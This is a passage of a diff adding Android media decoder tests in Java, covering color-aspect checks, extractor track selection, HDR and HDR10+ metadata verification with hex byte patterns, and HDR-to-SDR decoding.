+                "color_176x144_bt2020_lr_smpte2084_h265.mp4", 5 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT2020,
+                MediaFormat.COLOR_TRANSFER_ST2084,
+                getActivity().getSurfaceHolder().getSurface());
+        testColorAspects(
+                "color_176x144_bt2020_lr_hlg_h265.mp4", 6 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT2020,
+                MediaFormat.COLOR_TRANSFER_HLG,
+                getActivity().getSurfaceHolder().getSurface());
+    }
+
+    /**
+     * Test ColorAspects of all the MPEG2 decoders if avaiable. Decoders should
+     * handle the colors aspects presented in both the mp4 atom 'colr' and Sequence
+     * in the bitstream correctly. The following table lists the color aspects
+     * contained in the color box and SeqInfo for the test stream.
+     * P = primaries, T = transfer, M = coeffs, R = range. '-' means
+     * empty value.
+     *                                       |     colr     |    SeqInfo
+     * -------------------------------------------------------------------
+     *         File Name                     |  P  T  M  R  |  P  T  M  R
+     * -------------------------------------------------------------------
+     *  color_176x144_bt709_lr_sdr_mpeg2     |  1  1  1  0  |  -  -  -  -
+     *  color_176x144_bt601_625_lr_sdr_mpeg2 |  1  6  6  0  |  5  2  2  0
+     *  color_176x144_bt601_525_lr_sdr_mpeg2 |  6  5  4  0  |  2  6  6  0
+     *  color_176x144_srgb_lr_sdr_mpeg2      |  2  0  2  0  |  1  13 1  0
+     */
+    @Test
+    public void testMPEG2ColorAspectsTV() throws Exception {
+        testColorAspects(
+                "color_176x144_bt709_lr_sdr_mpeg2.mp4", 1 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_bt601_625_lr_sdr_mpeg2.mp4", 2 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_PAL,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_bt601_525_lr_sdr_mpeg2.mp4", 3 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_srgb_lr_sdr_mpeg2.mp4", 4 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
+                2 /* MediaFormat.COLOR_TRANSFER_SRGB */);
+    }
+
+    private void testColorAspects(
+            final String res, int testId, int expectRange, int expectStandard, int expectTransfer)
+            throws Exception {
+        testColorAspects(
+                res, testId, expectRange, expectStandard, expectTransfer, null /*surface*/);
+    }
+
+    private void testColorAspects(
+            final String res, int testId, int expectRange, int expectStandard, int expectTransfer,
+            Surface surface) throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        MediaFormat format = MediaUtils.getTrackFormatForResource(mInpPrefix + res, "video");
+        MediaFormat mimeFormat = new MediaFormat();
+        mimeFormat.setString(MediaFormat.KEY_MIME, format.getString(MediaFormat.KEY_MIME));
+
+        for (String decoderName: MediaUtils.getDecoderNames(mimeFormat)) {
+            if (!MediaUtils.supports(decoderName, format)) {
+                MediaUtils.skipTest(decoderName + " cannot play resource " + mInpPrefix + res);
+            } else {
+                testColorAspects(decoderName, res, testId,
+                        expectRange, expectStandard, expectTransfer, surface);
+            }
+        }
+    }
+
+    private void testColorAspects(
+            String decoderName, final String res, int testId, int expectRange,
+            int expectStandard, int expectTransfer, Surface surface) throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        MediaExtractor ex = new MediaExtractor();
+        ex.setDataSource(mInpPrefix + res);
+        MediaFormat format = ex.getTrackFormat(0);
+        MediaCodec dec = MediaCodec.createByCodecName(decoderName);
+        dec.configure(format, surface, null, 0);
+        dec.start();
+        ByteBuffer[] buf = dec.getInputBuffers();
+        ex.selectTrack(0);
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean getOutputFormat = false;
+        boolean rangeMatch = false;
+        boolean colorMatch = false;
+        boolean transferMatch = false;
+        int colorRange = 0;
+        int colorStandard = 0;
+        int colorTransfer = 0;
+
+        while (true) {
+            if (!sawInputEOS) {
+                int flags = ex.getSampleFlags();
+                long time = ex.getSampleTime();
+                int bufidx = dec.dequeueInputBuffer(200 * 1000);
+                if (bufidx >= 0) {
+                    int n = ex.readSampleData(buf[bufidx], 0);
+                    if (n < 0) {
+                        flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                        sawInputEOS = true;
+                        n = 0;
+                    }
+                    dec.queueInputBuffer(bufidx, 0, n, time, flags);
+                    ex.advance();
+                } else {
+                    assertEquals(
+                            "codec.dequeueInputBuffer() unrecognized return value: " + bufidx,
+                            MediaCodec.INFO_TRY_AGAIN_LATER, bufidx);
+                }
+            }
+
+            int status = dec.dequeueOutputBuffer(info, sawInputEOS ? 3000 * 1000 : 100 * 1000);
+            if (status == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat fmt = dec.getOutputFormat();
+                colorRange = fmt.containsKey("color-range") ? fmt.getInteger("color-range") : 0;
+                colorStandard = fmt.containsKey("color-standard") ? fmt.getInteger("color-standard") : 0;
+                colorTransfer = fmt.containsKey("color-transfer") ? fmt.getInteger("color-transfer") : 0;
+                rangeMatch = colorRange == expectRange;
+                colorMatch = colorStandard == expectStandard;
+                transferMatch = colorTransfer == expectTransfer;
+                getOutputFormat = true;
+                // Test only needs to check the color format in the first format changed event.
+                break;
+            } else if (status >= 0) {
+                // Test should get at least one format changed event before getting first frame.
+                assertTrue(getOutputFormat);
+                break;
+            } else {
+                assertFalse(
+                        "codec.dequeueOutputBuffer() timeout after seeing input EOS",
+                        status == MediaCodec.INFO_TRY_AGAIN_LATER && sawInputEOS);
+            }
+        }
+
+        String reportName = decoderName + "_colorAspectsTest Test " + testId +
+                " (Get R: " + colorRange + " S: " + colorStandard + " T: " + colorTransfer + ")" +
+                " (Expect R: " + expectRange + " S: " + expectStandard + " T: " + expectTransfer + ")";
+        Log.d(TAG, reportName);
+
+        DeviceReportLog log = new DeviceReportLog("CtsMediaDecoderTestCases", "color_aspects_test");
+        log.addValue("decoder_name", decoderName, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("test_id", testId, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValues(
+                "rst_actual", new int[] { colorRange, colorStandard, colorTransfer },
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValues(
+                "rst_expected", new int[] { expectRange, expectStandard, expectTransfer },
+                ResultType.NEUTRAL, ResultUnit.NONE);
+
+        if (rangeMatch && colorMatch && transferMatch) {
+            log.setSummary("result", 1, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
+        } else {
+            log.setSummary("result", 0, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
+        }
+        log.submit(getInstrumentation());
+
+        assertTrue(rangeMatch && colorMatch && transferMatch);
+
+        dec.release();
+        ex.release();
+    }
+
+    private void testTrackSelection(final String res) throws Exception {
+        MediaExtractor ex1 = new MediaExtractor();
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        try {
+            ex1.setDataSource(mInpPrefix + res);
+
+            ByteBuffer buf1 = ByteBuffer.allocate(1024*1024);
+            ArrayList<Integer> vid = new ArrayList<Integer>();
+            ArrayList<Integer> aud = new ArrayList<Integer>();
+
+            // scan the file once and build lists of audio and video samples
+            ex1.selectTrack(0);
+            ex1.selectTrack(1);
+            while(true) {
+                int n1 = ex1.readSampleData(buf1, 0);
+                if (n1 < 0) {
+                    break;
+                }
+                int idx = ex1.getSampleTrackIndex();
+                if (idx == 0) {
+                    vid.add(n1);
+                } else if (idx == 1) {
+                    aud.add(n1);
+                } else {
+                    fail("unexpected track index: " + idx);
+                }
+                ex1.advance();
+            }
+
+            // read the video track once, then rewind and do it again, and
+            // verify we get the right samples
+            ex1.release();
+            ex1 = new MediaExtractor();
+            ex1.setDataSource(mInpPrefix + res);
+            ex1.selectTrack(0);
+            for (int i = 0; i < 2; i++) {
+                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                int idx = 0;
+                while(true) {
+                    int n1 = ex1.readSampleData(buf1, 0);
+                    if (n1 < 0) {
+                        assertEquals(vid.size(), idx);
+                        break;
+                    }
+                    assertEquals(vid.get(idx++).intValue(), n1);
+                    ex1.advance();
+                }
+            }
+
+            // read the audio track once, then rewind and do it again, and
+            // verify we get the right samples
+            ex1.release();
+            ex1 = new MediaExtractor();
+            ex1.setDataSource(mInpPrefix + res);
+            ex1.selectTrack(1);
+            for (int i = 0; i < 2; i++) {
+                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                int idx = 0;
+                while(true) {
+                    int n1 = ex1.readSampleData(buf1, 0);
+                    if (n1 < 0) {
+                        assertEquals(aud.size(), idx);
+                        break;
+                    }
+                    assertEquals(aud.get(idx++).intValue(), n1);
+                    ex1.advance();
+                }
+            }
+
+            // read the video track first, then rewind and get the audio track instead, and
+            // verify we get the right samples
+            ex1.release();
+            ex1 = new MediaExtractor();
+            ex1.setDataSource(mInpPrefix + res);
+            for (int i = 0; i < 2; i++) {
+                ex1.selectTrack(i);
+                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                int idx = 0;
+                while(true) {
+                    int n1 = ex1.readSampleData(buf1, 0);
+                    if (i == 0) {
+                        if (n1 < 0) {
+                            assertEquals(vid.size(), idx);
+                            break;
+                        }
+                        assertEquals(vid.get(idx++).intValue(), n1);
+                    } else if (i == 1) {
+                        if (n1 < 0) {
+                            assertEquals(aud.size(), idx);
+                            break;
+                        }
+                        assertEquals(aud.get(idx++).intValue(), n1);
+                    } else {
+                        fail("unexpected track index: " + idx);
+                    }
+                    ex1.advance();
+                }
+                ex1.unselectTrack(i);
+            }
+
+            // read the video track first, then rewind, enable the audio track in addition
+            // to the video track, and verify we get the right samples
+            ex1.release();
+            ex1 = new MediaExtractor();
+            ex1.setDataSource(mInpPrefix + res);
+            for (int i = 0; i < 2; i++) {
+                ex1.selectTrack(i);
+                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                int vididx = 0;
+                int audidx = 0;
+                while(true) {
+                    int n1 = ex1.readSampleData(buf1, 0);
+                    if (n1 < 0) {
+                        // we should have read all audio and all video samples at this point
+                        assertEquals(vid.size(), vididx);
+                        if (i == 1) {
+                            assertEquals(aud.size(), audidx);
+                        }
+                        break;
+                    }
+                    int trackidx = ex1.getSampleTrackIndex();
+                    if (trackidx == 0) {
+                        assertEquals(vid.get(vididx++).intValue(), n1);
+                    } else if (trackidx == 1) {
+                        assertEquals(aud.get(audidx++).intValue(), n1);
+                    } else {
+                        fail("unexpected track index: " + trackidx);
+                    }
+                    ex1.advance();
+                }
+            }
+
+            // read both tracks from the start, then rewind and verify we get the right
+            // samples both times
+            ex1.release();
+            ex1 = new MediaExtractor();
+            ex1.setDataSource(mInpPrefix + res);
+            for (int i = 0; i < 2; i++) {
+                ex1.selectTrack(0);
+                ex1.selectTrack(1);
+                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                int vididx = 0;
+                int audidx = 0;
+                while(true) {
+                    int n1 = ex1.readSampleData(buf1, 0);
+                    if (n1 < 0) {
+                        // we should have read all audio and all video samples at this point
+                        assertEquals(vid.size(), vididx);
+                        assertEquals(aud.size(), audidx);
+                        break;
+                    }
+                    int trackidx = ex1.getSampleTrackIndex();
+                    if (trackidx == 0) {
+                        assertEquals(vid.get(vididx++).intValue(), n1);
+                    } else if (trackidx == 1) {
+                        assertEquals(aud.get(audidx++).intValue(), n1);
+                    } else {
+                        fail("unexpected track index: " + trackidx);
+                    }
+                    ex1.advance();
+                }
+            }
+
+        } finally {
+            if (ex1 != null) {
+                ex1.release();
+            }
+        }
+    }
+
+    private static final String VP9_HDR_RES = "video_1280x720_vp9_hdr_static_3mbps.mkv";
+    private static final String VP9_HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 64 00 e8 03 2c  01                     " ;
+
+    private static final String AV1_HDR_RES = "video_1280x720_av1_hdr_static_3mbps.webm";
+    private static final String AV1_HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 64 00 e8 03 2c  01                     " ;
+
+    // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
+    // The associated value is a ByteBuffer. This buffer contains the raw contents of the
+    // Static Metadata Descriptor (including the descriptor ID) of an HDMI Dynamic Range and
+    // Mastering InfoFrame as defined by CTA-861.3.
+    // Media frameworks puts the display primaries in RGB order, here we verify the three
+    // primaries are indeed in this order and fail otherwise.
+    private static final String H265_HDR10_RES = "video_1280x720_hevc_hdr10_static_3mbps.mp4";
+    private static final String H265_HDR10_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
+            "40 e8 03 00 00 e8 03 90  01                     " ;
+
+    private static final String VP9_HDR10PLUS_RES = "video_bikes_hdr10plus.webm";
+    private static final String VP9_HDR10PLUS_STATIC_INFO =
+            "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
+            "40 e8 03 32 00 e8 03 c8  00                     " ;
+    // TODO: Use some manually extracted metadata for now.
+    // MediaExtractor currently doesn't have an API for extracting
+    // the dynamic metadata. Get the metadata from extractor when
+    // it's supported.
+    private static final String[] VP9_HDR10PLUS_DYNAMIC_INFO = new String[] {
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
+    };
+
+    private static final String H265_HDR10PLUS_RES = "video_h265_hdr10plus.mp4";
+    private static final String H265_HDR10PLUS_STATIC_INFO =
+            "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
+            "40 e8 03 32 00 e8 03 c8  00                     " ;
+    private static final String[] H265_HDR10PLUS_DYNAMIC_INFO = new String[] {
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
+            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
+            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00"
+    };
+
+    @CddTest(requirement="5.3.7")
+    @Test
+    public void testVp9HdrStaticMetadata() throws Exception {
+        testHdrStaticMetadata(VP9_HDR_RES, VP9_HDR_STATIC_INFO,
+                true /*metadataInContainer*/);
+    }
+
+    @CddTest(requirement="5.3.9")
+    @Test
+    public void testAV1HdrStaticMetadata() throws Exception {
+        testHdrStaticMetadata(AV1_HDR_RES, AV1_HDR_STATIC_INFO,
+                false /*metadataInContainer*/);
+    }
+
+    @CddTest(requirement="5.3.5")
+    @Test
+    public void testH265HDR10StaticMetadata() throws Exception {
+        testHdrStaticMetadata(H265_HDR10_RES, H265_HDR10_STATIC_INFO,
+                false /*metadataInContainer*/);
+    }
+
+    @CddTest(requirement="5.3.7")
+    @Test
+    public void testVp9Hdr10PlusMetadata() throws Exception {
+        testHdrMetadata(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_STATIC_INFO,
+                VP9_HDR10PLUS_DYNAMIC_INFO, true /*metadataInContainer*/);
+    }
+
+    @CddTest(requirement="5.3.5")
+    @Test
+    public void testH265Hdr10PlusMetadata() throws Exception {
+        testHdrMetadata(H265_HDR10PLUS_RES, H265_HDR10PLUS_STATIC_INFO,
+                H265_HDR10PLUS_DYNAMIC_INFO, false /*metadataInContainer*/);
+    }
+
+    private void testHdrStaticMetadata(final String res, String staticInfo,
+            boolean metadataInContainer) throws Exception {
+        testHdrMetadata(res, staticInfo, null /*dynamicInfo*/, metadataInContainer);
+    }
+
+    private void testHdrMetadata(final String res,
+            String staticInfo, String[] dynamicInfo, boolean metadataInContainer)
+            throws Exception {
+        AssetFileDescriptor infd = null;
+        MediaExtractor extractor = null;
+        final boolean dynamic = dynamicInfo != null;
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        try {
+            extractor = new MediaExtractor();
+            extractor.setDataSource(mInpPrefix + res);
+
+            MediaFormat format = null;
+            int trackIndex = -1;
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    trackIndex = i;
+                    break;
+                }
+            }
+
+            assertTrue("Extractor failed to extract video track",
+                    format != null && trackIndex >= 0);
+            if (metadataInContainer) {
+                verifyHdrStaticInfo("Extractor failed to extract static info", format, staticInfo);
+            }
+
+            extractor.selectTrack(trackIndex);
+            Log.v(TAG, "format " + format);
+
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            // setting profile and level
+            if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
+                if (!dynamic) {
+                    assertEquals("Extractor set wrong profile",
+                        MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
+                        format.getInteger(MediaFormat.KEY_PROFILE));
+                } else {
+                    // Extractor currently doesn't detect HDR10+, set to HDR10+ manually
+                    format.setInteger(MediaFormat.KEY_PROFILE,
+                            MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10Plus);
+                }
+            } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
+                // The muxer might not have put VP9 CSD in the mkv, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        dynamic ? MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR10Plus
+                                : MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
+            } else if (MediaFormat.MIMETYPE_VIDEO_AV1.equals(mime)) {
+                // The muxer might not have put AV1 CSD in the webm, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        MediaCodecInfo.CodecProfileLevel.AV1ProfileMain10HDR10);
+            } else {
+                fail("Codec " + mime + " shouldn't be tested with this test!");
+            }
+            String[] decoderNames = MediaUtils.getDecoderNames(format);
+
+            int numberOfSupportedHdrTypes =
+                    mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                            .getSupportedHdrTypes().length;
+
+            if (decoderNames == null || decoderNames.length == 0
+                    || numberOfSupportedHdrTypes == 0) {
+                MediaUtils.skipTest("No video codecs supports HDR");
+                return;
+            }
+
+            final Surface surface = getActivity().getSurfaceHolder().getSurface();
+            final MediaExtractor finalExtractor = extractor;
+
+            for (String name : decoderNames) {
+                Log.d(TAG, "Testing candicate decoder " + name);
+                CountDownLatch latch = new CountDownLatch(1);
+                extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+
+                MediaCodec decoder = MediaCodec.createByCodecName(name);
+                decoder.setCallback(new MediaCodec.Callback() {
+                    boolean mInputEOS;
+                    boolean mOutputReceived;
+                    int mInputCount;
+                    int mOutputCount;
+
+                    @Override
+                    public void onOutputBufferAvailable(
+                            MediaCodec codec, int index, BufferInfo info) {
+                        if (mOutputReceived) {
+                            return;
+                        }
+
+                        MediaFormat bufferFormat = codec.getOutputFormat(index);
+                        Log.i(TAG, "got output buffer: format " + bufferFormat);
+
+                        verifyHdrStaticInfo("Output buffer has wrong static info",
+                                bufferFormat, staticInfo);
+
+                        if (!dynamic) {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputReceived = true;
+                            latch.countDown();
+                        } else {
+                            ByteBuffer hdr10plus =
+                                    bufferFormat.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO)
+                                    ? bufferFormat.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO)
+                                    : null;
+
+                            verifyHdrDynamicInfo("Output buffer has wrong hdr10+ info",
+                                    bufferFormat, dynamicInfo[mOutputCount]);
+
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputCount++;
+                            if (mOutputCount >= dynamicInfo.length) {
+                                mOutputReceived = true;
+                                latch.countDown();
+                            }
+                        }
+                    }
+
+                    @Override
+                    public void onInputBufferAvailable(MediaCodec codec, int index) {
+                        // keep queuing until intput EOS, or first output buffer received.
+                        if (mInputEOS || mOutputReceived) {
+                            return;
+                        }
+
+                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
+
+                        if (finalExtractor.getSampleTrackIndex() == -1) {
+                            codec.queueInputBuffer(
+                                    index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            mInputEOS = true;
+                        } else {
+                            int size = finalExtractor.readSampleData(inputBuffer, 0);
+                            long timestamp = finalExtractor.getSampleTime();
+                            finalExtractor.advance();
+
+                            if (dynamic && metadataInContainer) {
+                                final Bundle params = new Bundle();
+                                // TODO: extractor currently doesn't extract the dynamic metadata.
+                                // Send in the test pattern for now to test the metadata propagation.
+                                byte[] info = loadByteArrayFromString(dynamicInfo[mInputCount]);
+                                params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+                                codec.setParameters(params);
+                                mInputCount++;
+                                if (mInputCount >= dynamicInfo.length) {
+                                    mInputEOS = true;
+                                }
+                            }
+                            codec.queueInputBuffer(index, 0, size, timestamp, 0);
+                        }
+                    }
+
+                    @Override
+                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                        Log.e(TAG, "got codec exception", e);
+                    }
+
+                    @Override
+                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                        Log.i(TAG, "got output format: " + format);
+                        verifyHdrStaticInfo("Output format has wrong static info",
+                                format, staticInfo);
+                    }
+                });
+                decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
+                decoder.start();
+                try {
+                    assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
+                } catch (InterruptedException e) {
+                    fail("playback interrupted");
+                }
+                decoder.stop();
+                decoder.release();
+            }
+        } finally {
+            if (extractor != null) {
+                extractor.release();
+            }
+        }
+    }
+
+    private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
+        ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
+                format.getByteBuffer("hdr-static-info") : null;
+        assertTrue(reason + ": empty",
+                staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
+        assertTrue(reason + ": mismatch",
+                Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
+    }
+
+    private void verifyHdrDynamicInfo(String reason, MediaFormat format, String pattern) {
+        ByteBuffer hdr10PlusInfoBuffer = format.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO) ?
+                format.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO) : null;
+        assertTrue(reason + ":empty",
+                hdr10PlusInfoBuffer != null && hdr10PlusInfoBuffer.remaining() > 0);
+        assertTrue(reason + ": mismatch",
+                Arrays.equals(loadByteArrayFromString(pattern), hdr10PlusInfoBuffer.array()));
+    }
+
+    // helper to load byte[] from a String
+    private byte[] loadByteArrayFromString(final String str) {
+        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+        Matcher matcher = pattern.matcher(str);
+        // allocate a large enough byte array first
+        byte[] tempArray = new byte[str.length() / 2];
+        int i = 0;
+        while (matcher.find()) {
+          tempArray[i++] = (byte)Integer.parseInt(matcher.group(), 16);
+        }
+        return Arrays.copyOfRange(tempArray, 0, i);
+    }
+
+    @Test
+    public void testVp9HdrToSdr() throws Exception {
+        testHdrToSdr(VP9_HDR_RES, null /* dynamicInfo */,
+                true /*metadataInContainer*/);
+    }
+
+    @Test
+    public void testAV1HdrToSdr() throws Exception {
+        testHdrToSdr(AV1_HDR_RES, null /* dynamicInfo */,
+                false /*metadataInContainer*/);
+    }
+
+    @Test
+    public void testH265HDR10ToSdr() throws Exception {
+        testHdrToSdr(H265_HDR10_RES, null /* dynamicInfo */,
+                false /*metadataInContainer*/);
+    }
+
+    @Test
+    public void testVp9Hdr10PlusToSdr() throws Exception {
+        testHdrToSdr(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_DYNAMIC_INFO,
+                true /*metadataInContainer*/);
+    }
+
+    @Test
+    public void testH265Hdr10PlusToSdr() throws Exception {
+        testHdrToSdr(H265_HDR10PLUS_RES, H265_HDR10PLUS_DYNAMIC_INFO,
+                false /*metadataInContainer*/);
+    }
+
+    private static boolean DEBUG_HDR_TO_SDR_PLAY_VIDEO = false;
+    private static final String INVALID_HDR_STATIC_INFO =
+            "00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00" +
+            "00 00 00 00 00 00 00 00  00                     " ;
+
+    private void testHdrToSdr(final String res,
+            String[] dynamicInfo, boolean metadataInContainer)
+            throws Exception {
+        AssetFileDescriptor infd = null;
+        MediaExtractor extractor = null;
+        MediaCodec decoder = null;
+        HandlerThread handlerThread = new HandlerThread("MediaCodec callback thread");
+        handlerThread.start();
+        final boolean dynamic = dynamicInfo != null;
+
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        try {
+            extractor = new MediaExtractor();
+            extractor.setDataSource(mInpPrefix + res);
+
+            MediaFormat format = null;
+            int trackIndex = -1;
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    trackIndex = i;
+                    break;
+                }
+            }
+
+            extractor.selectTrack(trackIndex);
+            Log.v(TAG, "format " + format);
+
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            // setting profile and level
+            if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
+                if (!dynamic) {
+                    assertEquals("Extractor set wrong profile",
+                        MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
+                        format.getInteger(MediaFormat.KEY_PROFILE));
+                } else {
+                    // Extractor currently doesn't detect HDR10+, set to HDR10+ manually
+                    format.setInteger(MediaFormat.KEY_PROFILE,
+                            MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10Plus);
+                }
+            } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
+                // The muxer might not have put VP9 CSD in the mkv, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        dynamic ? MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR10Plus
+                                : MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
+            } else if (MediaFormat.MIMETYPE_VIDEO_AV1.equals(mime)) {
+                // The muxer might not have put AV1 CSD in the webm, we manually patch
+                // it here so that we only test HDR when decoder supports it.
+                format.setInteger(MediaFormat.KEY_PROFILE,
+                        MediaCodecInfo.CodecProfileLevel.AV1ProfileMain10HDR10);
+            } else {
+                fail("Codec " + mime + " shouldn't be tested with this test!");
+            }
+            format.setInteger(
+                    MediaFormat.KEY_COLOR_TRANSFER_REQUEST, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+            String[] decoderNames = MediaUtils.getDecoderNames(format);
+
+            if (decoderNames == null || decoderNames.length == 0) {
+                MediaUtils.skipTest("No video codecs supports HDR");
+                return;
+            }
+
+            final Surface surface = getActivity().getSurfaceHolder().getSurface();
+            final MediaExtractor finalExtractor = extractor;
+
+            for (String name : decoderNames) {
+                Log.d(TAG, "Testing candicate decoder " + name);
